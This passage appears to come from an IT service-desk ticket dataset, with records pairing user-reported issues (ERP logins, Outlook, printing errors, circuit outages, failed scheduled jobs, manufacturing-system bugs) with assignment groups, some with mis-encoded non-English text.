13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: final inwarehouse\_tool for project is not working correctly, Description: dear it team,\_x000D\_
\_x000D\_
i have again an issue with a final inwarehouse\_tool. i have the following erp order: 34827963.\_x000D\_
we had a down payment of all items, but a final shipment of item 10,20,50,60,70.\_x000D\_
items 30 and 40 have not been shipped, hence we are not allowed to do an final inwarehouse\_tool for this. \_x000D\_
so i tried to do a final inwarehouse\_tool for items 10,20,50,60,70, but it did not work. with inwarehouse\_tool 0159198781 the down payment amount got deducted twice. \_x000D\_
so i cancelled all inwarehouse\_tools, incl. down payment inwarehouse\_tool and separated them, one inwarehouse\_tool for item 10,20,50,60,70 and another inwarehouse\_tool for item 30,40.\_x000D\_
after that i tried again to inwarehouse\_tool it. but still the wrong amunt was shown. i need to have an inwarehouse\_tool for item 10,20,50,60,70 with amount 350.740 minus 105.222 down paymant. can you please have a look and help me? \_x000D\_
this is not a single issue, we had that already several times. , is assigned to Assignment group: GRP\_13.Ticket with Short description: after changing the password,outlook is not responding to the newly assigned password., Description: name:mandgtryjuth
language:
browser:microsoft internet explorer
email:onbugvhi.vzjfgckt@gmail.com
customer number:
telephone:
summary:after changing the password,outlook is not responding to the newly assigned password., is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool-new customer addition, Description: \_x000D\_
\_x000D\_
received from: skmdgnuh.utgclesd@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
still same error persists.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_358ae.c667c030]\_x000D\_
\_x000D\_
with warm , is assigned to Assignment group: GRP\_25.Ticket with Short description: hpqc account--reset password, Description:
received from: phfduvwl.yqnaucep@gmail.com
hello
i failed to login my hpqc account and got below message.
could you please reset password for my hpqc account, i need it to do uacyltoe hxgaycze next week
my user id is zhudrs
[cid:image001.png@01SID\_358c2.0b26f430]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook and business\_client , Description: unable to open outlook and business\_client , is assigned to Assignment group: GRP\_0.Ticket with Short description: ç”µè„‘ç¡¬ç›˜æ•…éšœï¼Œè¯·æ±‚ç»´ä¿®ã€‚, Description: ç”µè„‘ç¡¬ç›˜æ•…éšœï¼Œè¯·æ±‚ç»´ä¿®ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: business\_client not working, Description: \_x000D\_
\_x000D\_
received from: otpkzifh.gywinoml@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am unable to access business\_client. when i open business\_client, it goes directly into below screen.\_x000D\_
kindly look into.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_358ac.6fbbdcf0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3190 failed in job\_scheduler at: 09/27/2016 01:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3190 failed in job\_scheduler at: 09/27/2016 01:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: the plm conversion server - is reporting a : warning status on, HostName\_108. please investigate, Description: the plm conversion server - is reporting a : warning status on, HostName\_108. please investigate
, is assigned to Assignment group: GRP\_14.Ticket with Short description: add the inxsupmy zhwmifvx to materials\_management / purchasing, Description:
received from: inxsupmy.zhwmifvx@gmail.com
hello team,
can you please add inxsupmy zhwmifvx to the materials\_management/purchasing group in ticketing\_tool .
inxsupmy zhwmifvx
team lead - ssl (sourcing & logistics) - global it
inxsupmy.zhwmifvx@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp login blocked, Description: \_x000D\_
\_x000D\_
received from: ublisodp.qydfvpgw@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
i am not able to login into erp as my attempts exceed the set limit.\_x000D\_
requesting you to unblock the same.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is not updating on my laptop, Description: name:warrrtyen
language:
browser:microsoft internet explorer
email:wmybrona.qvwhpamb@gmail.com
customer number:
telephone:
summary:outlook is not updating on my laptop, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage : carrier india dmvpn-rtr02 is down since 10:37 pm et on 09/26., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_\_\_10:37 pm et on 09/26.\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_no\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: sound system of laptop, Description: \_x000D\_
\_x000D\_
received from: ygkzwsud.cvjgkxws@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i need a help, the sound system of my laptop doesn't seem to be working, neither through speaker nor through ear phone. it's very inconvenient for skype calls.\_x000D\_
\_x000D\_
please look into this.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: erp login trouble, Description: \_x000D\_
\_x000D\_
received from: xosycftu.olhpmsdw@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
please see this error.\_x000D\_
i can not log in erp.\_x000D\_
please tell me the solution.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage : switzerland dmvpn-2821-rtr01 is down since 11:38 pm et on 09/26., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_11:38 pm et on 09/26.\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: hr\_tool-etime ç³»ç»Ÿä¸èƒ½ç™»å½•ï¼Œä¸€ç›´æ˜¾ç¤ºæ­£åœ¨åŠ è½½åº”ç”¨æ•°æ®åº“, Description: hr\_tool-etime ç³»ç»Ÿä¸èƒ½ç™»å½•ï¼Œä¸€ç›´æ˜¾ç¤ºæ­£åœ¨åŠ è½½åº”ç”¨æ•°æ®åº“, is assigned to Assignment group: GRP\_31.Ticket with Short description: erp system - very slow response\_apac, Description: we've faced the problem of erp system which is very slow response time. please help check and fixing this issue to make erp system more faster speed. , is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_212 : /dev/u00lv is over 20% space consumed. space available: 28.3 g, Description: HostName\_212 : /dev/u00lv is over 20% space consumed. space available: 28.3 g, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to browse "hr\_tool" site., Description: unable to browse "hr\_tool" site. snapshot of error is attached., is assigned to Assignment group: GRP\_0.Ticket with Short description: é‚®ç®±æ— æ³•å¯åŠ¨, Description: é‚®ç®±æ— æ³•å¯åŠ¨ï¼Œæç¤ºæ— æ³•åˆ›æ–°æ–°çš„å †æ ˆé˜²æŠ¤é¡µé¢ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: job pp\_EU\_tool\_netch\_keheu2 failed in job\_scheduler at: 09/26/2016 22:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_keheu2 failed in job\_scheduler at: 09/26/2016 22:37:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: crm, Description: \_x000D\_
\_x000D\_
received from: hmjdrvpb.komuaywn@gmail.com\_x000D\_
\_x000D\_
good day,\_x000D\_
\_x000D\_
can you please advise whether crm is going through updates at the moment?\_x000D\_
\_x000D\_
there are a number of issues concerning us in 1301:\_x000D\_
\_x000D\_
\_x000D\_
1. at the moment we cannot access crm at all.\_x000D\_
\_x000D\_
2. yesterday, i could not enter new customer accounts as my drop down boxes were not fully loading and thus, i could only see one or two items to select from.\_x000D\_
\_x000D\_
3. the team here in australia advised that lately that they have had to contact customer master on numerous occasions as there are certain entries in crm, new customer accounts, that are not transferring to erp like:\_x000D\_
sales reps\_x000D\_
carriers\_x000D\_
etc\_x000D\_
\_x000D\_
we were advised by our finance department that they believed it were aware of such problems above?\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_15.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 09/26/2016 22:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 09/26/2016 22:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp slow, Description: apac china, apac dc & company colleagues said the erp is very slow. i ping erp address 81.93.78.714, 50% packet loss., is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 09/26/2016 22:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 09/26/2016 22:24:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: purchasing order export issue, Description: \_x000D\_
\_x000D\_
received from: jrdafplx.fcnjmvts@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
when i export the po files to pdf format in erp by command zz\_mails , sometimes , it's show the other language rather than chinese ,so how can i solve it?\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_358a8.5c6486b0]\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_29.Ticket with Short description: password reset via password\_manager\_tool password manager, Description: password reset via password\_manager\_tool password manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working and unable to receive emails., Description: outlook not working and unable to receive emails., is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool-new customer, Description: \_x000D\_
\_x000D\_
received from: skmdgnuh.utgclesd@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
not able to add new customer in engineering\_tool, kindly support to solve the error.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35883.6872ebb0]\_x000D\_
\_x000D\_
with warm , is assigned to Assignment group: GRP\_25.Ticket with Short description: msd: outlook not showing the crm add-in., Description: msd: outlook not showing the crm add-in.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-deleted and reconfigured the user profile on crm.\_x000D\_
-launched outlook.\_x000D\_
-user confirmed by closing and relaunching outlook everything is fine now.\_x000D\_
-issue resolved.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn access status check, Description: vpn access status check, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot find dr. cyxieuwk rekwlqmu in ticketing\_tool, Description: i tried to add cyxieuwk.rekwlqmu@gmail.com to the watch list on a ticket but i couldn't find him in ticketing\_tool.\_x000D\_
please active christgrytoph's account in ticketing\_tool., is assigned to Assignment group: GRP\_0.Ticket with Short description: alrthyu s lowe. my ee# is 6045304.it needs to show under me in the financial report that mikhghytr robhyertyjs receives from nicrhty pi, Description: from: scthyott lortwe
sent: monday, september 26, 2016 8:42 pm
to: nwfodmhc exurcwkm
subject: trup[ti fw: recode acct
importance: high
it team
please see the email chain below. please assign this to me, alrthyu s lowe. my ee# is 6045304.
it needs to show under me in the financial report that mikhghytr robhyertyjs receives from nicrhty piper.
scthyott lortwe
sales manager â€“ southeast
industrial segment
sbvlxuwm.yanbikrx@gmail.com
from: christgry financial\_toolher
sent: monday, september 26, 2016 9:30 am
to: mikhghytr robhyertyjs <sgblhypi.htqmidsn@gmail.com>; scthyott lortwe <sbvlxuwm.yanbikrx@gmail.com>
subject: re: recode acct
hi mikhghytr â€“ that is not an account in erp. it is new customer quota that was loaded into financial reporting per the direction of cpmaidhj elbaqmtp. unfortunately, you will need to submit an it ticket to have it reassigned.
kindest , is assigned to Assignment group: GRP\_9.Ticket with Short description: expense report issue : getting alert in expense report. screenshots attached., Description: expense report issue \_x000D\_
\_x000D\_
please change cost center for user , is assigned to Assignment group: GRP\_10.Ticket with Short description: outlook language is changing automatically., Description: outlook language is changing automatically.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-changed the launguage settings as english default.\_x000D\_
-restarted the pc.\_x000D\_
-advised the user to check now.\_x000D\_
-user confirmed that the outlook language is now english.\_x000D\_
-educated the user about the steps to take to change the outlook launguage.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation, Description: mobile device activation, is assigned to Assignment group: GRP\_0.Ticket with Short description: load telephony\_software onto users pc, Description: load telephony\_software onto users pc, is assigned to Assignment group: GRP\_7.Ticket with Short description: no audio while on skype call, Description: no audio while on skype call, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with erp login the server list is not available., Description: problem with erp login the server list is not available., is assigned to Assignment group: GRP\_0.Ticket with Short description: i am not able to upload engineering\_tool, see below screen shot., Description: i am not able to upload engineering\_tool, see below screen shot., is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login to windows, Description: not able to login to windows, is assigned to Assignment group: GRP\_0.Ticket with Short description: user unable to login to the telephony\_software ., Description: user unable to login to the telephony\_software .
-user unable to login to the interaction client.
-user getting authenication error.
-contact: , is assigned to Assignment group: GRP\_7.Ticket with Short description: compensation system is missing september inwarehouse\_tools , Description: the compensation system is missing september inwarehouse\_tools, which is impacting sales compensation reports for all of north amerirtca field sales. please assign to bw team and consult zarthyc mithycs for resolution., is assigned to Assignment group: GRP\_25.Ticket with Short description: ockwafib.wftboqry@gmail.com called to service desk to check status of pomjgvte.goswvnci@gmail.com, Description: ockwafib.wftboqry@gmail.com called to service desk to check status of pomjgvte.goswvnci@gmail.com for account activation.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cÃ³pia de conta telefonica, Description: solicito fornecer cÃ³pia da conta telefÃ´nica do celular do perÃ­odo de 20 de junho a 20 de setembro/2016, is assigned to Assignment group: GRP\_62.Ticket with Short description: confirmation qty window not deducting confirmed pieces in default qty field, Description: as per my understanding, mii should subtract already confirmed pieces from order planned quantity from confirmation screen whenever user is confirming something. \_x000D\_
for ex. for a 1000 piece order, if user confirms 400 pieces, the next user or same user next time when confirms that operation, the default qty presented should be 600 but i'm noticing its presenting the original 1000, is assigned to Assignment group: GRP\_41.Ticket with Short description: rzonkfua yidvloun was unable to login to windows and outlook, Description: rzonkfua yidvloun was unable to login to windows and outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: partial confirmation info sent to erp but machine status behaving differently (usa), Description: usa go-live week. issue reported on 9/21\_x000D\_
\_x000D\_
order #226038501 \_x000D\_
op # 0030 \_x000D\_
work center # 73122161\_x000D\_
\_x000D\_
operation was in prir status [9/2sartlgeo lhqksbdx2.33 pm] but mii won't allow to resume run. \_x000D\_
gergryth changed status in mii from prst to prir, it changed status in to-di list but not in machine summary\_x000D\_
\_x000D\_
start process = 9/20 19.43 = 7.43 pm\_x000D\_
current time = 9/2sartlgeo lhqksbdx2.50 pm\_x000D\_
time elapsed ~17 hours and that's what we're seeing on machine summary dashbankrd meaning mii did send partial confirmation information to erp but didn't used the same information for machine status view etc. \_x000D\_
\_x000D\_
so, in summary, the partial confirmation information made it to erp perfectly fine but the machine status windows wasn't updated with partial confirmation pause and behaved as if partial confirmation pause never happened\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
example from usa\_x000D\_
for usa location and order 226033677, operation 10\_x000D\_
\_x000D\_
mii showed the order in prpf status, looking at erp, order was partially confirmed followed by "automatic pause" which mii adds. change log shows all entries were done by miiadmin. it's weird since erp is showing expected status which is provided by mii but mii itself is showing prpf status which does not make sense. reporting this issue so team can do a deep dive and come up with the solution\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_41.Ticket with Short description: unable to print purchase orders from erp, Description: unable to print purchase orders from erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: entered "data maintenance" window using operators credential (usa), Description: during usa go-live week on 9/22 i was able to get into data maintenance on operator pc using operator id.. exact steps listed below
1. operator had operator dashbankrd open on his pc
2. he asked for help and todfrm brgyake (plant manager), zcudbnyq rdxzgpej (manufacturing manager) and i stopped by operators desk
3. his question required to get into "data maintenance" and confirm something (original question was about interrupt codes)
4. i opened a new "tab", right next to operator dashbankrd and typed url of data maintenance
5. then i went into operator dashbankrd tab and clicked log out (i was expecting to enter my own credentials to get into data maintenance)
6. but some thing weird happened, the moment i switched to data maintenance tab, i realized i was already logged in, without entering my id
7. i double checked with tom and davidthd that if i was maybe dreaming and entered my credentials but they confirmed, application took me to home screen of data maintenance without asking credentials
, is assigned to Assignment group: GRP\_41.Ticket with Short description: the kÃ¼ndigung action for pfgia scgtitt has completed., Description: hello ,
a kÃ¼ndigung for pfgia scgtitt, 1156212249, effective 22.07.2016 has been approved.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: mii logging in under different user, Description: issue reported from usa, usa and usa
note from erin
"we have a new issue today â€“ in the osterwalder bank the operators are signing in as themselves and being logged in under other usernames. in the attached screen shot edclhpkf ahjklpxm signed in with her login mcelrnr but was logged in as sanddry mcgfrtann (mcgatnsl). this is a new change â€“ previously it would log in the lauacyltoe hxgaycze person when you would open the window but now it's not even signing in the correct person.", is assigned to Assignment group: GRP\_41.Ticket with Short description: ie 10 needed for finance\_app., Description: ie 10 needed for finance\_app.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-uninstalled ie11 and reinstalled the ie10.\_x000D\_
-user confirmed he was able to login to the finance\_app.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset , Description: erp SID\_34 password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: the driver was not loaded properly. : inc1554925 , Description:
summary:hello,
i can't log in my pc due to updating of intel.the driver was not loaded properly., is assigned to Assignment group: GRP\_0.Ticket with Short description: partner rtr team - email restrictions , Description:
received from: ntsowaem.jfgslyde@gmail.com
would like some assistance on trying to change the email access as approved below for our partner team.
ergtyic wrtyvis
manager, internal audit
ntsowaem.jfgslyde@gmail.com<mailto:ntsowaem.jfgslyde@gmail.com>
from: pal, sadipta [mailto:sadipta.pal@partner.com]
sent: monday, september 26, 2016 11:57 am
to: ntsowaem jfgslyde <ntsowaem.jfgslyde@gmail.com<mailto:ntsowaem.jfgslyde@gmail.com>>
subject: fw: partner rtr team - email restrictions
hi erirtc â€“ do you think sonia will be able to expedite this?
, is assigned to Assignment group: GRP\_26.Ticket with Short description: documents folder is missing, Description: documents folder is missing. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to dg05 printer , Description: unable to connect to dg05 printer , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0439545, Description: ticket update on ticket\_no0439545, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print erp orders, Description: unable to print erp orders, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to wifi, Description: unable to connect to wifi, is assigned to Assignment group: GRP\_0.Ticket with Short description: 7350: unable to hear audio on skype, Description: 7350: unable to hear audio on skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: connection to system production\_order\_interface\_app with destination production\_order\_interface\_vendor-connc is not okay:, Description: when converting planned orders to production orders and releasing to print -- or just attempting to print anything from erp -- i am getting the following error message: connection to system production\_order\_interface\_app with destination production\_order\_interface\_vendor-connc is not okay: error when opening an rfc connection (cpic-call: (1)., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype issue login issue , Description: skype issue login issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool etime query , Description: hr\_tool etime query , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for cyvdluja oxrkfpbz on other / telephony\_software, Description: reset the password for cyvdluja oxrkfpbz on other / telephony\_software, is assigned to Assignment group: GRP\_7.Ticket with Short description: unable to open outlook , Description: unable to open outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: information pushed out of bar in machine status display, Description: in machine status window, the active hours of operation are displayed. in one instance hours were pushed out of bar making information unreadable (instead of showing 3.433 h, it appears as 433 h) adding pitcure, is assigned to Assignment group: GRP\_41.Ticket with Short description: invlaid order number (usa), Description: we see order 2105783 in mii, which infact is material number.. need to know how this was entered as production order # in dashbankrd, is assigned to Assignment group: GRP\_41.Ticket with Short description: "work center allowed % difference" message showing up when threshold set to 100%, Description: when "confirm. qty. threshold" is set to 100%, system presents a warning even when we confirm planned order qty (which is exactly 100% of planned order qty)\_x000D\_
, is assigned to Assignment group: GRP\_41.Ticket with Short description: re: sent from snipping tool, Description: \_x000D\_
\_x000D\_
received from: tfesaxip.cvorpnth@gmail.com\_x000D\_
\_x000D\_
help for work order 226048099.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: sent from snipping tool, Description: \_x000D\_
\_x000D\_
received from: tfesaxip.cvorpnth@gmail.com\_x000D\_
\_x000D\_
help for work ord\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to ess, Description: unable to login to ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp help, Description: \_x000D\_
\_x000D\_
received from: znxcupyi.bhrwyxgu@gmail.com\_x000D\_
\_x000D\_
when converting planned orders to production orders and releasing to print, i am getting the following error message:\_x000D\_
[cid:image001.png@01SID\_357e3.677aecd0]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype issue : personal certificate error., Description:
summary:i am unable to sign into skype - getting pop up message saying there is problem with a certificate. any suggestions?, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3032 failed in job\_scheduler at: 09/26/2016 10:41:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3032 failed in job\_scheduler at: 09/26/2016 10:41:00, is assigned to Assignment group: GRP\_14.Ticket with Short description: assign to plm - cannot print work orders due to plsseald connection, Description: connection to system production\_order\_interface\_app with destination production\_order\_interface\_vendor-connc is not okay: , is assigned to Assignment group: GRP\_0.Ticket with Short description: wrong "stock status" symbols displayed in distributor\_tool / companycenter (see attached email), Description: wrong "stock status" symbols displayed in distributor\_tool / companycenter (see attached email), is assigned to Assignment group: GRP\_20.Ticket with Short description: erp access issue, Description: high priority: gofmxlun kxcfrobq is getting errors in erp when she tries to create and order. this is her main function and she is unable to proceed creating orders.
note from micthle follows
------------------------------------------
i'm receiving a server error when trying to create production orders in erp. the error message says "connection to system production\_order\_interface\_app with destination production\_order\_interface\_vendor-connc is not okay: error when opening an rfc conneciton (cpic-call:1(1).
--------------------------------------------
system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?):
SID\_34
enter user id of user having the issue:
letyenm
transaction code(s) the user needs or was working with:
co01
describe the issue:
see message above from micthle
, is assigned to Assignment group: GRP\_3.Ticket with Short description: pair formation error for orders which have right information / status in erp (usa), Description: order 226047825, operation 40\_x000D\_
operator unable to "final" confirm the order using time event. gergryth looked up confirmation details in erp and everything looks correct. mii is throwing out "pair formation" error, is assigned to Assignment group: GRP\_41.Ticket with Short description: able to start a confirmed job in mii (usa), Description: for order 226044182, operation 0015, we "final confirmed" job in mii but operator was able to "start" the job again - should've not happened as per logic we have defined, is assigned to Assignment group: GRP\_41.Ticket with Short description: unable to get production order to print, Description: error reads\_x000D\_
connection to system production\_order\_interface\_app with destination\_x000D\_
production\_order\_interface\_vendor-connc is not okay:\_x000D\_
error when opening an rfc connection (cpic-call: ', is assigned to Assignment group: GRP\_0.Ticket with Short description: erp printing issue : connection to system production\_order\_interface\_app with destination production\_order\_interface\_vendor-connc is not okay., Description: erp printing issue : connection to system production\_order\_interface\_app with destination production\_order\_interface\_vendor-connc is not okay.
error when opening an rfc connection
contact : , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp production order printing issue : connection to system production\_order\_interface\_app with destination production\_order\_interface\_vendor-connc is not okay., Description: erp printing issue : connection to system production\_order\_interface\_app with destination production\_order\_interface\_vendor-connc is not okay.
error when opening an rfc connection
contact # :
ext 115, is assigned to Assignment group: GRP\_0.Ticket with Short description: access needed for vrtybundj to ticketing\_tool, Description: please usa ycimqxdn wtubpdsz (vrtybundj) access to ticketing\_tool to view tickets similar to what pwc is usaed each year.
let me know if you have any questions.
, is assigned to Assignment group: GRP\_36.Ticket with Short description: crm, Description: \_x000D\_
\_x000D\_
received from: saqbgcpl.ybfzcjiq@gmail.com\_x000D\_
\_x000D\_
good morning\_x000D\_
\_x000D\_
i need help assigning an account in crm. the account was assigned to me by another se but the account has since been reassigned. i am unable to reassign the account since i am not the primary sales.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client login issue, Description: business\_client login issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp is not letting me print orders message no. /dvsrepro/zrfc016, Description: ,message no. /dvsrepro/zrfc016
, is assigned to Assignment group: GRP\_0.Ticket with Short description: email information, Description: from: kthvr sertce
sent: monday, september 26, 2016 6:31 pm
to: nwfodmhc exurcwkm
cc: rjodlbcf uorcpftk; zdcheloy aevzsogn
subject: amar fw: traversecity.service@company.com, important account information
hi it,
please investigate if this is accurate or spam.
traversecity.service@company.com is an older email address for our usa customer service email box. it is listed on older literature that is still being used by customers. we should keep it in operation. please confirm.
, is assigned to Assignment group: GRP\_26.Ticket with Short description: expense report is blocked, Description: expense report is blocked, is assigned to Assignment group: GRP\_0.Ticket with Short description: personal certificate error : skype issue , Description: personal certificate error : skype issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print production orders on erp printer bd24 , Description: unable to print production orders on erp printer bd24, is assigned to Assignment group: GRP\_14.Ticket with Short description: exporting contacts from outlook , Description: exporting contacts from outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype is not opening., Description: skype is not opening., is assigned to Assignment group: GRP\_0.Ticket with Short description: reinstall EU\_tool \ewew8323851 \wrcktgbd wzrgyunp, Description: reinstall EU\_tool \ewew8323851 \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: sales doc 35900112/000010 still shows as open in the backorder database., Description: sales doc 35900112/000010 still shows as open in the backorder database. sales doc has been pgid yet it still shows as open in the backorder database. rpbdvgoy hxasnzjc suggested i enter a ticket. according to aobrelcs suchytro this sales doc still looks open.\_x000D\_
